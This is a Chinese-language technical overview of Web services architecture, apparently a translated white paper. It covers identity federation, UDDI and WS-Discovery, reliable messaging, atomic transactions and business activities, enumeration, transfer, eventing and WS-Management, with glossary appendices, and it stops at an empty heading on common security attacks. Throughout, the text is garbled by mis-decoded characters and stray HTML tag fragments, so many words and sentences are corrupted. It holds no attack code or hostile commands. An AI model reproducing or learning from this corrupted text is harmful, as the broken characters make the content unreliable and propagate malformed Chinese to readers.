通过w䆾联盟Q很多要求都可以得到满。就拿将一名员工与光d联v来的例子来说Q公司A的Jane从OfficeSupplyStore.comq行采购Q公司A和OfficeSupplyStore.com之间有一个采购合同。因为Jane的n份是与公司A兌的，所以可以让Ҏ依据该合同来q行采购。第二个例子是将一个h映射到多个笔名。大家可能只知道Joe使用joe@companya.com工作。他q可能有其他w䆾Q如joe_bloggs@hotmail.com和josephb@cornell.edu。通过w䆾联盟Q系l可以确定这些n份都是同一个Joe?/P>
Web服务联合安全架构中定义了两个一般的h者（消息发送者）c：被动和智能（zdQ。被动请求者是只用HTTP且从来不发出安全性o牌的服务。智能请求者是能够发出包含诸如WS-Security和WS-Trust中所描述的那些安全性o牌的消息的服务。传l的ZHTTP的Web览器就是被动请求者的一个例子。定义这两种h者的行ؓ的概要规范现已开发出来。对于智能请求者，activeh者概要详l说明了单点d、退出和W名是如何通过使用SOAP消息而整合到Web服务安全模型中的。实际上Q该概要描述了在h者上下文中实现WS-联盟中所描述的模式的Ҏ。它详细说明了各U安全性o牌的要求。作些安全性o牌要求中之一的一个例子，当不使用安全通道ӞX.509证书的整个o牌必d含权威机构的名称和签名。该概要q要求X.509令牌包含主题标识W，以唯一地识别授之以该o牌的主题?/P>
发现QDiscoveryQ?/H1>
本节介绍Web服务架构中用于定位网l上Web服务和确定该服务可用性的功能lgQUDDI和WS-Discovery。Web服务发现是在没有人工q预的情况下实现服务q接自动化的关键。Web服务发现Ҏ反映了计机pȝ中查找信息的两个最常见ҎQ查看一个众所周知的目录，或将一个请求广播给所有可用的监听器。UDDI注册表就相当于该目录Q发现协议用于广播请求?/P>
目录QDirectoryQ?/H2>
通用描述发现和集成协议，即UDDI——Universal Description Discovery and Integration ProtocolQ指定了一个用于查询和更新Web服务信息通用目录协议。该目录包含关于服务提供商、它们所托管的服务以及这些服务所实施的协议的信息。该目录q提供了用于向Q何注册信息添加元数据的方法。如果Web服务信息存储在众所周知的位|时Q则可以使用UDDI目录Ҏ。一旦找到目录，可以发送一pd查询h以获取想要的信息。UDDI目录位置通常是通过pȝ配置数据从带外（Out of BandQ获得的?/P>
对于如何部vUDDI注册表，Web服务提供商有很多不同的选择。部|方案不外乎3个类别：公共、企业外和企业内。ؓ了支持公共部|Ԍ以Microsoft、IBM和SAP为首的一l供应商L推出了UDDI企业注册表[UBRQUDDI Business Registry]。UBR是一个可跨多个主持企业复制的公共UDDI注册表，它既是基于Internet的Web服务资源Q又是Web服务开发者的一个试验台。尽目前公共UDDI实施已经受到了最大关注，但UDDI的早期采用者仍更們于用企业外和企业内Ҏ。在q两U部|情况下Q企业要部v一个专用注册表Q而且更严密地控制注册信息cd也是可能的。这些专用注册表可能只供一个企业用，也可能供若干l业务合作伙伴用。UDDIqؓ注册表间的复制和跨部|的信Q联盟定义了协议。用这些协议进一步增加了可用于实施者的部vҎ数量。对于所有的部vҎQUDDI目录都包含了Web服务及其托管地的详细信息。UDDI目录Ҏ3个主要部分——服务提供商、所提供的Web服务和实施绑定。其中的每一部分都逐渐提供有关Web服务的更详细信息?/P>
大部分的一般信息都描述服务提供商。该信息不针对Web服务软gQ而是针对直接负责该服务的开发者或实施者。服务提供商信息包括名称、地址、联pMh及其他管理细节。所有的UDDIw有多个元素来支持多语a描述。可用的Web服务列表存储在服务提供商中。这些服务可能是Ҏ它们的预定用途来l织的：它们可能被分成不同的应用领域、地区或M其他适用的模式。存储在UDDI注册表中的服务信息只包含服务描述和一个指向它所包含的Web服务实施的指针。由其他提供商托的服务链接UCؓ‘服务映（Service ProjectionQ’，也可能被注册?/P>
UDDI服务提供商实体的最后部分是实施l定。该l定Web服务与切的URI兌hQ以定在何处部|服务，它还指定了访问协议，q包含所实施的确切协议的参考资料。这些细节对于开发h员编写调用Web服务的应用程序已l够。详l的协议定义的是通过一个称为“类型模型（即tModelQType ModelQ”的UDDI 实体提供的。在许多情况下，tModel都会引用一个描qSOAP Web服务接口的WSDL文g描述Q但tModel的灵zL也几乎可以描述MU类的资源。对于在UDDI中注册的每一个提供商或服务来_来自标准分类学（如NAICS和较古老的国标准行业代码Q或其他w䆾识别ҎQ如Edgar Central Index KeyQ的元数据都可用于分cM息和提高搜烦准确性。可用的分类学和标识W方案集作ؓM实施的一部分Q是可轻松扩展的Q因此可以对其进行定制以支持M特定的地域、行业或企业需求?/P>
动态发玎ͼDynamic DiscoveryQ?/H2>
动态Web服务发现是以不同方式提供的。作为在已知注册表中存储信息的另一U方案，动态发现的Web服务会明地声明它们的到达、离开|络。WS-Discovery为通过多\q播消息来声明和发现Web服务定义了协议。当Web服务q接到网l时Q它通过发送一条Hello消息来声明它的到达。在最单的情况下，q些声明的跨|发送用多路广播协议——我们称之ؓ自组l网l。该Ҏq最大限度地减少了网l上的轮询需要。ؓ了限制网l信息流通量和优化发现过E，pȝ可能会包含一个发C理。发C理用一个众所周知的服务位|取代了发送多路广播消息的需要，从而将自组l网l{变成托管|络。利用配|信息，代理服务集合可以q接在一P从而将发现服务扩展到多l服务器Q从一台机器扩展到多台机器?/P>
因ؓ发现代理自n也是Web服务Q它们可能会用自׃用的Hello消息来声明它们的到场。接收该消息的Web服务然后可以利用该代理的服务Q而无需再用干扰较多的一对多发现协议。当服务d|络ӞWS-Discovery会指定一个Bye消息以发送给|络或发C理。该消息通知|络上的其他服务d的Web服务不再可用?/P>
Z完善q种服务声明和离开的基本方法的不QWS-Discovery定义了两个操作——Probe和ResolveQ以定位|络上的Web服务。对于自l织|络QProbe消息被发送给多\q播l，q且与该h匚w的目标服务会响应直接反馈给h者。对于利用发C理的托管|络QProbe消息则以单\q播方式发送给发现代理。如果按名称定位Web服务Q则使用Resolve消息。Resolve消息只以多\q播模式发送。Resolve cM于地址解析协议Q即ARPQ它IP地址转换成其对应的物理网l地址。WS-Discovery规范q支持这Lpȝ配置Q将Probe消息发送给一个已l通过其他理Ҏ建立h的发C理，如通过使用众所周知的DHCP记录?/P>
动态发现服务的能力实现了Web服务理的自举。与WS-Eventing及其他协议相l合Q更复杂的管理服务也可以通过使用q种动态发现基架构来构建。动态发现还Web服务架构扩展到设备，如那些目前可能实施通用x即用QUPnPQ协议的pȝ——这是该架构真正实现通用的重要一步。例如，借助WS-Discovery和WS-EventingQ打印机或存储介质等讑֤可以作ؓWeb服务U_到系l中Q而且无需专门的工h协议?/P>
Web服务讑֤概要规范
Web服务讑֤概要规范对在资源受限的设备上应该实施Web服务架构规范家族的哪个子集提供了指导。该概要力图在由于资源限制而作出折hQ在可用的丰富功能和最重要的功能之间找到^衡?/P>
一致性协议——可靠的消息传递和事务
本节介绍可以提供可靠的消息传送、事务行为和能够在一lWeb服务之间q行昑ּ协调的Web服务架构lg。定义这些功能的规范是WS-ReliableMessaging、WS-Coordination、WS-AtomicTransaction和WS-BusinessActivity?/P>
当多个Web服务必须完成工作的某一共同单元或依照某U共同的行ؓq行操作Ӟ对于使用哪个协议必须达成p。Web服务之间q种最低限度的协调是不可避免的。协调协议还必须能够定q同意已达成一个共同目标。Web服务之间的每一个交互都可以看作一U协调。一致性协议ؓ该架构提供了一个改q的ZQ即参与者服务在它们准备共同完成的Q务方面将获得成功。在传输丢失了消息和服务失常ӞWeb服务架构仍然能够正常工作?/P>
M多方协调都可以通过接连地随需加入更多参与者从两方协调逐步发展而成。两方协调可能是自发的，也可能需要一个指定的协调者。广泛用的自发协调协议的一个例子是同步h—响应消息传递模式。这是一致性协调的最单Ş式之一Q对于每个工作请求，接收方Web服务必须完成所有预期工作之后才能向h者返回数据。双斚w遵@q种严格的模式，无需昑ּ协调服务?/P>
可靠的消息传?/H2>
很多情Ş都可能中断两个服务之间的消息交换。当使用不可靠的传输协议Q如HTTP 1.0和SMTPQ来q行传输或当消息交换跨多个传输层q接Ӟq更会成Z个问题。消息可能会丢失、被复制或重新排序，Web服务可能会失败ƈ失去易变状态。WS-ReliableMessaging是一个基于特定的传送保证特征实现可靠消息传送的协议。该规范定义?个可l合使用的不同断aQ?/P>
- At-Least-Once DeliveryQ至一ơ传送）Q每条消息至传送一ơ?
- At-Most-Once DeliveryQ至多一ơ传送）Q不传送重复的消息?
- In-Order DeliveryQ依ơ传送）Q按消息的发送顺序传送消息?
臛_一ơ和臛_一ơ保证相l合的结果是恰好q行一ơ传送。由于Web服务架构的设计与传输无关Q因此所有传送都与所用的通信传输工具或其l合无关。由于开发h员必预的潜在传送失败模式数量减，故用WS-ReliableMessaging可以化系l开发?/P>
可靠的消息传送不需要显式协调者。当使用WS-ReliableMessagingӞ参与者必L据SOAP消息Header中所发送的信息识别协议。作Z个组传输的消息集合称为消息序列（Message SequenceQ。消息序列可以由发v?发送者或Web服务创徏Q当建立一U双向关联时通常由它们共同创建。序列是使用CreateSequence和CreateSequenceResponse消息昑ּ创徏的。当惌的最l结果是用两个单向序列来充当一个双向序列时Q发赯将提供Web服务所要用的序列。该序列的ID由发赯包含在CreateSequence消息中?/P>
WS-ReliableMessaging中定义了几个{略断言。这些策略断a用WS-Policy中定义的Ҏ来表C?/P>
可靠的消息传递协议简化了开发h员ؓ在传输不断变化的情况下传输消息而必ȝ写的代码。也是_底层基础架构可以Ҏ息在端点之间的正怼输进行验证，必要时还会{发消息ƈ重复。应用程序不需要Q何附加逻辑来处理提供传送可能需要的消息转发、重复消息的消除、消息重新排序或消息认。WS-ReliableMessaging的实施是跨发赯和服务分布的。那些非‘在U쀙可见的特征Q如消息传送顺序，是通过实施WS-ReliableMessaging规范来提供的。虽然由传输损失D的消息重发等特征是通过不ؓ应用E序所知的消息传递层来处理的Q其他端到端特征Q如依次传送）都要求消息传递基架构和接收应用程序相互协作。当发送者希望按发送顺序提供消息排序时Q在接收者一方却按接攉序提供消息排序的情况是依ơ传送的一U不正确实施——注意到q一Ҏ很有的。当发送者希望按接收序提供消息序Ӟ在接收者一Ҏ发送顺序提供消息顺序的情况Q是依次传送的一U正实施?/P>
指定的协调?/H2>
N路协调协议的某些族需要一个指定的协调者来引导一个工作单元通过一pd合作服务Q一个例子是zd必须在不希望被同时连接的服务之间协调。只要每个参与者和协调者在某一时刻通信Q协调就可能发生Q结果就可能达成一致。Web服务架构为指定的协调者定义了某些单操作?/P>
WS-Coordination规范定义了一个可扩展的协调框架来支持需要显式协调者的情况。该协议引入了一个称为协调上下文QCoordination ContextQ的SOAP头块Q用以唯一地识别联合工作中要着手进行的部分。ؓ了启动工作的接合部分QWeb服务会向一个或多个目标服务发送协调上下文。收到协调上下文后，接收Ҏ务会得到提示Q说有联合协作请求提出。协调上下文中包含了_的信息，h接收者可以利用这些信息来定是否参与该工作。协调上下文中包含的切信息Ҏ被请求工作的U类的不同而变化?/P>
协调cd集是可扩充的。只要参与该联合工作的每个服务对所需行ؓ都有个一般的了解Q新cd可以通过实施来定义。例如，原子事务是Web服务架构中已l定义了的几个初始基协调cd之一。如果被h的协调类型被理解q被接受QWeb服务׃使用WS-Coordination注册协议来通知协调者ƈ参与该联合工作。协调上下文中包含了协调者的一个端点引用和可能行ؓ的可选标识符。注册操作指定该多方参与的Web服务所支持的行为。一旦注册消息发送到协调者，Web服务׃依照它们所预订的协议参与该工作。注册是协调框架中的关键操作Q它允许意欲协同配合以完成工作的共同单元的不同Web服务怺q接在一赗?/P>
WS-AtomicTransaction为Web服务指定了传l的ACID事务Qƈ为原子事务协调类型定义了3个协议：完成协议QCompletion ProtocolQ和两阶D|交协议（Two-Phase Commit ProtocolQ的两个变体。完成协议用于启动提交处理。ؓ完成而注册的Web服务能够通知指定的协调者何时开始提交处理。该协议q详l说明了用于通知启动者事务最l结果的消息。不q，该协议不要求协调者确保启动者对l果q行处理。相反，WS-AtomicTransaction中的其他行ؓ则要求协调者确保参与者对协调消息q行处理?/P>
两阶D|交（2PCQ协议ؓ所有已注册的参与者提供了一个公q提交或中止决定，保了所有参与者都能得到最l结果通知。顾名思义Q它使用两轮通知来完成该事务。该协议的两个变体是Q易?PCQVolatile 2PCQ和持久2PCQDurable 2PCQ。这两个协议在线上用相同的消息Q对应于Prepare、Commit和Abort操作Q，但易?PC没有持久性要求。易?PC协议供管理易p源的参与者用，如缓存管理器或窗口管理器。这些参与者在W一轮通知中不与协调者发生联p，且不需要第二轮的通知。持?PC协议供管理数据库和文件等持久资源的参与者用。当某一提交处理已经启动Ӟ在所有易?PC参与者被联系q之后这些参与者会W一ơ被联系。这使缓存能够被h。持?PC参与者需要完整的两轮通知来实现协调者所要求的全有或全无行ؓ以及完成该事务。这些行为最适合于可以在整个事务期内持有资源Q且该事务通常为非常短暂的事务的情c该协议保证在正常处理的情况下，协调者提供第一阶段l果的同时将联系所有参与者。对于完成时间预计将比较长的事务Q或当资源（如锁Q无法持有时Q其他协调协议就会定义替换行为?/P>
WS-AtomicTransaction中定义了若干{略断言Q这些策略断a使用WS-Policy中定义的Ҏ来表C?/P>
排队pȝQQueued SystemQ?/H2>
构徏分布式系l时被证明非常有用的一U模式是使用事务持久队列来提供存储{发异步消息传送。在q种模式下，原子事务被用于每一个传输端炏V在发送端Q发送应用程序以原子事务方式消息发送给一个持久队列，此时应用E序和队列管理器都用WS-AtomicTransaction来进行协调。只有在处理消息时不发生错误Q消息才被认为成功发送至该队列。接下来Q发送队列和接收队列之间消息的传送由队列子系l来接管。该传输步骤可以在消息置入发送队列之后的某一时刻完成。此外，发送队列的位置无需与发出消息的应用E序的位|一致。与此类|从接攉列检索消息的应用E序也用原子事务来执行cM操作。也是_只有不出现处理错误时消息才能从队列中U除?/P>
持箋旉长的zdQLong Duration ActivitiesQ?/H2>
WS-BusinessActivity行时间长的事务指定了两个协议。WS-BusinessActivity规范在事务提交之前ƈ不锁定资源，而是Z补偿操作。底层事务模型是所谓的开攑ֵ套事务。这些协议系l化地说明了松耦合服务如何对已l完成某一联合d达成一致意见。在其中的一个协议中Q协调者显式地通知参与者没有更多的工作正在以联合Q务的名义被请求。在另一个协议中Q该参与者就是通知协调者以联合d名义出现的工作已l完成的参与者。用补偿操作可以在不锁定这些操作的情况下完成试验性操作。不出于何故，只要pȝ惌撤消已完成的试验性操作结果，p启动补偿操作。WS-AtomicTransaction和WS-BusinessActivity都利用WS-Coordination来管理Web服务之间的协作?/P>
三方握手
三方握手q接的徏立和解除协议是不需要指定协调者服务的协调协议的一个例子。ؓ了徏立连接，发送者要向接收者发送一个请求。该h建立一个会话。如果该h被接受，接收者就会发Z条确认消息，对该h作出U极响应。发送者然后再发送一条消息，作ؓ对该认消息的确认，从而证明双斚w知道Ҏ已经建立了一个会话?/P>
解除协议cM。一方向另一方发送一个会话解除请求。接收者以对解除消息的认消息作ؓ响应。接收到该确认消息之后，发出解除消息的一斚w过再对该确认消息发送一条确认消息结束消息交换?/P>
枚D、传输和事g
本节介绍提供Web服务架构中的服务资源枚D、其状态管理和事g通知的规范。这些规范基于WS-Enumeration、WS-Transfer和WS-Eventing?/P>
枚DQEnumerationQ?/H2>
很多情况所要求的数据交换都使用不只一对的h/响应消息。需要这些更长时间数据交换的应用cd包括数据库查询、数据流、命名空间等信息的遍历和枚D列表。特别是枚DQ它是通过建立数据源和h者之间的会话来实现的。会话中接连不断的消息用于传送正在被索的元素的集合。对于该服务用于l织要生成的项的方法不作假设。在正常处理的情况下Q枚丑ֺ在会话结束前生成所有底层数据?/P>
WS-Enumeration指定了用于徏立枚举会话和索数据序列的协议。枚丑֍议允许数据源向正在用的服务提供一个叫做枚举上下文的会话抽象。该上下文通过一个数据项序列来表C逻辑光标。然后，h者将该枚举上下文用于一个或多个SOAP消息的某一区间以请求数据。枚举数据表CZؓXML Infoset。该规范q允许数据源提供一U自定义机制来开始新的枚举。既然枚举会话可能需要若q个消息交换Q那么会话状态必M持稳定?/P>
关于q代q度的状态信息可以由数据源或正在使用的服务在h间维护。WS-Enumeration允许数据源一个请求一个请求地军_哪一方将负责l护下一个请求的状态。这U灵zL实C若干U优化。例如，使服务器能够避免对调用之间的M光标状态进行保存。由于消息潜伏时间对于支持若q个同时枚D的服务来说可能会很长Q不保存状态可能会使必ȝ护的信息总量大大减少。资源受限设备（如移动电话）上的服务实现可能Ҏ无法l护M状态信息?/P>
传输QTransferQ?/H2>
WS-Transfer详细说明了对通过Web服务q行讉K的数据实体进行管理所需的基本操作。要了解WS-Transfer需要介l两个新术语Q工厂（FactoryQ和资源QResourceQ。工厂是能够从其XML表示形式创徏资源的Web服务。WS-Transfer引入了用于创建、更新、检索和删除资源的操作。应当注意，对于资源状态维护，宿主服务器最多也只能做到力而ؓ。当客户端获知服务器接受了创建或更新某一资源的请求时Q它可以适当地预期资源目前在的确定位|，q具有确定了的表CŞ式，但这q不是一个保证——即使是在没有Q何第三方的情况下。服务器可能会更Ҏ一资源的表CŞ式，可能会彻底删除某一资源Q也可能会恢复已l删除的某一资源。这U保证的~Z与Web提供的松耦合模型一致。如果需要，服务可以提供非Web服务架构所必需的附加保证?/P>
WS-Transfer的创建、更新和删除操作扩展了WS-MetadataExchange中的只读操作功能。检索操作与WS-MetadataExchange中的Get操作完全相同。Createh发送给工厂。然后，工厂创徏被请求的资源q确定其初始表示形式。工厂被假定与所创徏的资源不同。新资源被分配给一个在响应消息中返回的Q由服务军_的端点引用。Put操作通过提供一U替换表CŞ式来更新资源。资源表CŞ式的一ơ性快照与WS-MetadataExchange中的Get操作一P也可以通过WS-Transfer中的Get操作来检索。Delete操作成功后，资源无法再通过端点引用来用。这4个元数据理操作构成了Web服务中状态管理的构徏基础?/P>
事gQEventingQ?/H2>
在由需要相互通信的服务构成的pȝ中，可能会用异步消息传递。在很多情况下，׃个服务生成的信息也是其他服务所需要的。由于~性差Q轮询往往不是获得q种信息的有效方法；通过|络发送的不必要的消息太多了。相反，该架构需要一U当事g发生时发出显式通知的机制。更重要的要求是源服务和用户服务的绑定必dq行时动态完成。ؓ此，Web服务架构提供了一个轻量事g协议?/P>
WS-Eventing详细说明了实C?个实体交互的机制Q订戗订阅管理器、事件源和事件接收。这使某一Web服务在作Z个订h能够登记它对另一个Web服务Q事件源Q所提供的特定事件的兴趣。这U注册叫做订阅。WS-Eventing定义了某一服务可以提供的支持订阅创建和理的操作。当事g源判定有事g发生Ӟ它就会将此信息提供给订阅理器。订阅管理器然后可以该事g传送给所有匹配的订阅Q这cM于传l的发布/订阅事g通知pȝ中的发布主题。Web服务架构提供了主题定义、组l和发现方式的全面灵zL；它ؓ在很多不同的应用场合中可能会用到的订阅提供了一个通用的管理基架构。也可以订阅出租的资源，但最l都必须收回。用于收回资源的主要机制是各个订阅的到期旉。查询订阅状态同样也有一U机Ӟ帮助订户理其若q订阅事（包括l订、通知和取消订阅的hQ的附加操作规范中也有详l说明。当ӞM服务都可以随时自由地l止订阅Q这与所有Web服务的自d则一致。订阅终止消息可供事件源通知订户订阅l止q早?/P>
虽然Z事g的异步消息的一般模式很常见Q但不同的应用通常都要求用不同的事g传送机制。例如，在某些情况下单异步消息可能是最佳选择Q但如果事g接收能够通过轮询控制消息和消息到达旉Q则其他情况可能会更适用。当接收无法从源头到辄的地Ӟ如接收有防火墙阻拦的情况下，轮询也是必要的。WS-Eventing中所引入的传送模式概念就是用来支持这些要求的。传送模式被用作一个扩展点Q以便ؓ订户、事件接收和事g源徏立定制的传送机制提供一U手Dc下q管理规范利用了q种机制?/P>
事g代理可用于聚合或重新分配来自不同来源的通知Q代理还可以用作独立的订阅管理器。这两个Ҏ都得CWS-Eventing的支持。代理在pȝ中可以扮演若q个重要角色。主题可以按特定的应用类来组l用。代理可以充当通知聚集器，用于整合来自多个来源的事件信息。它们也可以充当qo器，q比用于其自己通知的过滤器所接收的消息要多。这U灵zL是部v健壮而可伸羃的通知pȝ所必需的?/P>
理QManagementQ?/H2>
理功能是要讨论的Web服务架构的最后一个方面。这些功能在WS-Management规范中有详细的说明。WS-Management构徏于该架构的若q组件之上，提供了所有系l管理解x案都必需的一个公共操作集。其中包括发现管理资源存在及其相互导航的能力。个别管理资源（如设|和动态|可以被检索、设|、创建和删除。容器和集合的内容，如大表和日志Q可以被枚D。规范最后定义了事g订阅和特定的理操作。在q些斚wQWS-Management只详l说明了最低的实现要求。规范还使符合WS-Management的实现可以部|到型讑֤。同Ӟ它还支持向大型数据中心和分布式安装的扩展。此外，各种机制的定义都不依赖于M暗示的数据模型或pȝ健康模型。这U独立性它可以应用到各种各样的Web服务?/P>
WS-Management要求托管资源的引用用带有特定附加信息的端点引用。该信息包含了对该资源提供访问的代理的URL、该资源所属资源类型的唯一标识WURI以及识别该资源的零个或更多个密钥。这些密钥被假设为名U?值对。该信息是这h到WS-Addressing端点引用的：资源的URL映射到地址属性，资源cd标识W映到一个名为ResourceURIQ在适当的XML命名I间中）的特定引用属性，各密钥分别映到一个名为Key、属性ؓName的引用参数。ؓ了满管理服务的消息传递需要，规范为操作定义了3个限定符。这些限定符的SOAP表示位于header元素中。operation timeout指定了一个截止时_之后操作不需要接受服务；locale元素在需要或期望转换底层信息时用；freshness限定W用于请求最新的值ƈ避免q回陈旧数据。对于用WS-Transfer操作的数据访问，WS-Management指定了另?个限定符。Get操作可用于SummaryPermitted header和NoCache header。如果可用，SummaryPermitted限定W允怼输简略表CŞ式。NoCache限定W要求传输最新数据，止信息~存。对于Put和Create操作QReturnResource限定W要求服务返回资源的新表CŞ式。ReturnResource使资源受限的Web服务能够在更新资源时不保留状态?/P>
WS-ManagementZ仉知定义?个自定义的传送模式：扏V拉和捕莗这些模式都由URI来识别，q些URI在徏立订阅时使用。批传送模式订户能够接收捆绑在一个SOAP消息中的多个事g消息。订户可能还会要求捆l某一最大数目的事g、服务收集事件可耗用的最长时_以及应返回数据的最大量。拉传送模式生成服务的数据能够维护事件的逻辑队列Q以便订戯够按需轮询通知。该轮询是通过使用WS-Enumeration和返回时附带订阅响应消息的枚举上下文来完成的。最后，如果UDP多\q播是一U合适的消息传递方式，捕获传送模式便允许事g源用它。在捕获模式下，事g源可以将光知发送给某一预定义的UDP多\q播地址?/P>
l束?/H1>
本文介绍了Web服务架构的功能构造块及其底层原理。每个构造块都是依据协议规范来阐q的。我们希望本文所q的功能范围和指导原则保持不变。不q我们也希望架构能够得到扩展Q以支持更多情况。能够支持创新是该架构的基本特征?/P>
已经q行的大量细致入微的工作可以保各种Web服务协议能够不加变动地相互组合；管是一赯计的Q它们仍可以以非常多的组合方式来使用。和功能构造块一P它们的用方式与传统开发框架类伹{必要时Q如对于SOAP附gQ我们已l开发了新的解决ҎQ而且不加变动它们可以很好地用于该架构内。关注组合不是对丰富功能的威慑?/P>
该架构的SOAP消息传递基保证?foundation assures wide reach。SOAP消息传递以一U传输独立的方式支持异步和同步模式。具有更高灵zL的基础架构不存在。ؓ了加快Web服务架构的广泛采用，很多技术合作伙伴都参与了这些规范的制定。与q些重要技术提供程序的合作加快了设备和支持q些在线协议的编E环境的部v。实现广泛覆盖、广泛采用和与规模无关的构造是我们?个核心目标。我们力争确保该架构能够在Q何^C用Q何编E语a来实现。该架构Z消息的和Z协议的特性ؓ此提供了便利。必要时Q如只用WS-Security来支持消息完整性、机密性和w䆾验证Q以及只使用WS-Policy来表C元数据Ӟ我们已经限定了用于提高互操作水^的技术方法的使用领域。理ZԌ只要实现切实遵守该架构的协议规范Q它们就能与其他MWeb服务通信?/P>
附录AQ术语表
zdh者（Active RequestorQ——活动请求者是能够发出如WS-Security和WS-Trust中所q的Web服务消息的应用程序（可能是Web览器）?/P>
w䆾验证QAuthenticationQ——验证安全凭证的q程?/P>
授权QAuthorizationQ——根据提供的安全凭证授权讉K安全资源的过E?/P>
规范化（CanonicalizationQ——将XML文档转换成符合每一方要求的格式的过E。在{文和解译签名时使用?/P>
断言QClaimQ——断a是对发送者、服务或其他资源Q如名称、n份、密钥、组、特权、功能等Q所作的陈述?/P>
协调上下文（Coordination ContextQ——一l协调服务要完成的一l工作的唯一标识W?/P>
反序列化QDeserializationQ——从一个八位字节流构徏XML Infoset的过E。它是用于从消息的有U格式创建消息的Infoset 表示形式的方法?/P>
摘要QDigestQ——摘要是八位字节的加密校验和?/P>
域（DomainQ——安全域代表安全理或信ȝ一个单元?/P>
持久的两阶段提交QDurable Two Phase CommitQ——用于文件或数据库等持久资源事务的协议?/P>
有效{略QEffective PolicyQ——有效策略，针对某一l定的策略主题，是附加在包含该策略主题的{略范围上的{略l合?/P>
交换模式QExchange PatternQ——用于服务之间消息交换的模式?/P>
工厂QFactoryQ——工厂是可以从XML表示形式创徏资源的Web服务?/P>
联盟QFederationQ——联盟是已经建立怺信Q的信d的集合。信ȝ别可能变化，但通常都包括n份验证，q可能包括授权?/P>
w䆾映射QIdentity MappingQ——n份映是创徏w䆾属性之间关pȝ一U方法。某些n份提供程序可能会利用w䆾映射?/P>
w䆾提供E序QIPQIdentity ProviderQ——n份提供程序是为最l请求者提供n份验证服务的实体。n份提供程序还为服务提供程序提供数据源验证服务Q这通常是安全性o牌服务的一U扩展）?/P>
消息QMessageQ——消息是可由服务发送或接收的完整数据单元。它是信息交换的独立单元。无Z时消息都会包含SOAP信封Qƈ有可能包含附加MTOM中指定的MIME部g、传输协议header?/P>
消息路径QMessage PathQ——遍布在初始源和最l接收者之间的SOAP节点集?/P>
被动h者（Passive RequestorQ——被动请求者是一个用得到普遍支持的HTTPQ如HTTP/1.1Q的HTTP览器?/P>
{略QPolicyQ——策略就是策略选项集?/P>
{略选项QPolicy AlternativeQ——策略选项是{略断言集?/P>
{略断言QPolicy AssertionQ——策略断a表示特定于域的单个要求、功能、其他属性或行ؓ?/P>
{略表达式（Policy ExpressionQ——策略表辑ּ是策略的XML Infoset表示形式Q可以是正规形式Q也可以是等同的压羃形式?/P>
MQPrincipalQ——可以被授予安全权限或可以给出安全性或w䆾断言的Q何系l实体?/P>
协议l合QProtocol CompositionQ——协议组合是在保持技术连贯性的同时l合协议q免Q何非指定功能副作用的能力?/P>
资源QResourceQ——资源是可由端点引用d的Q何实体，在该端点引用中，该实体可以提供其自n的XML表示形式?/P>
安全上下文（Security ContextQ——安全上下文是一个抽象概念，指的是已建立的n份验证状态和可能h与安全有关的附加属性的协商密钥?/P>
安全上下文o牌（Security Context TokenQ——安全上下文令牌QSCTQ是安全上下文抽象概늚有线表示形式Q它使上下文能够被URI命名q和一起用?/P>
安全性o牌（Security TokenQ——安全性o牌用于表CZl断a的集合?/P>
安全性o牌服务（Security Token ServiceQ——安全性o牌服务（STSQ发行安全性o牌的Web服务。更切地说Q它Ҏ它所信Q的证据来作出断言Qƈ发送给信Q它的M一方（或特定接收者）。ؓ了表明信任，服务需要证据（如签名）Q以证实安全性o牌或安全性o牌集提供的信息。服务本w可以生成o牌，也可以通过它自q信Q陈述依靠某一独立的STS发行安全性o牌（注意Q对于某些安全性o牌格式，q只能是重新发行或联合签名）。这构成了信M理的基础?/P>
序列化（SerializationQ——将XML Infoset表示为八位字节流的过E。它是用于创建消息的有线格式的方法?/P>
服务QServiceQ——通过消息来与其他实体q行交互的Y件实体。注意，服务不需要连接到|络?/P>
{QSignatureQ——签名是通过加密法计算出来Qƈl定到数据的一个倹{而且l过l定Q数据的指定接收者可以用该{来验证数据没有改变ƈ发自消息的签名者，从而提供了消息完整性和w䆾验证。签名的计算和验证可以通过对称或非对称密钥法来进行?/P>
退出（Sign-OutQ——退出是q样一个过E：某主体表明它们将不再使用其o牌且该域中的服务可能会破坏该M令牌~存?/P>
单点dQSSOQSingle Sign OnQ——单点登录是对n份验证序列的一U优化，旨在消除在请求者n上进行的反复操作负担。ؓ了便于进行SSOQ称n份提供程序（Identity ProviderQ的元素能够以请求者的名义充当代理Q将w䆾验证事g的证据提供给h该请求者信息的W三斏V这些n份提供程序（IPQ是受信ȝW三方，既需要得到请求者的信QQ以l护h者的w䆾信息Q因信息的丢失可能会泄露h者n份）Q又需要得到Web服务的信任，Web服务可能会根据该IP提供的n份信息的完整性提供对重要资源和信息的讉K权?/P>
SOAP中介QSOAP IntermediaryQ——SOAP中介是一个SOAP处理节点Q它既不是原始消息发送者，也不是最l接收者?/P>
对称密钥法QSymmetric Key AlgorithmQ——一U加密算法，其中的消息加密和解密都用相同的密钥?/P>
pȝQSystemQ——实现某一特定功能的服务的集合。与分布式应用程序意思相同?/P>
信QQTrustQ——信任表CZ个实体愿意依靠另一个实体来执行一l操作，对一l主题、范围作Zl断a?/P>
信Q域（Trust DomainQ——信d是一个得到有效管理的安全I间Q在其中Q请求的来源和目标可以确定来自某一来源的特定凭证集是否W合该目标的相关安全{略QƈҎ达成一致。目标可以将信Q军_延期至第三方的加入（如果q已被确立ؓ一致意见的一部分Q，从而将受信ȝW三方包括在信Q域中?/P>
易失的两阶段提交QVolatile Two Phase CommitQ——用于缓存或H口理器等易失资源事务的协议?/P>
Web服务QWeb ServiceQ——Web服务是一U可重复使用的Y件组Ӟ它依据XML、SOAP和其他业界公认的标准通过|络实现交互式的消息交换?/P>
附录BQXML Infoset信息?/H1>
XML文可以包含11cM息项。下面，我们列出q详l说明了SOAP所支持的信息项Qƈ要介l了其他的信息项。SOAP支持6cM息项Q?/P>
- 文档QDocumentQ：每个信息集里都有一个文信息项。它用于引用所有的其他信息V?
- 元素QElement:Q：文中每个XML元素的信息集中都包含一个元素信息项。对所有元素的讉K是通过对Child属性的递归跟踪提供的?
- 属?Attribute)Q文中每个属性的信息集中都包含一个属性信息项。附加属性信息项用于命名I间?
- 命名I间(Namespace)Q每个在其父元素范围内的名称I间信息集中都包含一个名U空间信息项?
- 字符(Character)Q文档中每个数据字符的信息集中都包含一个字W信息项?
- 注释(Comment)Q除了出现在DTD中的以外Q文中每个注释的信息集中都包含一个注释信息项?
SOAP不支持但出现在XML Infoset初始定义中的5cM息项是：处理指o(Processing Instruction)、文类型声?Document Type Declaration)、未扩展的实体引?Unexpanded Entity Reference)、未解析实体(Unparsed Entity)和表C法(Notation)?/P>
附录CQ常见的安全d
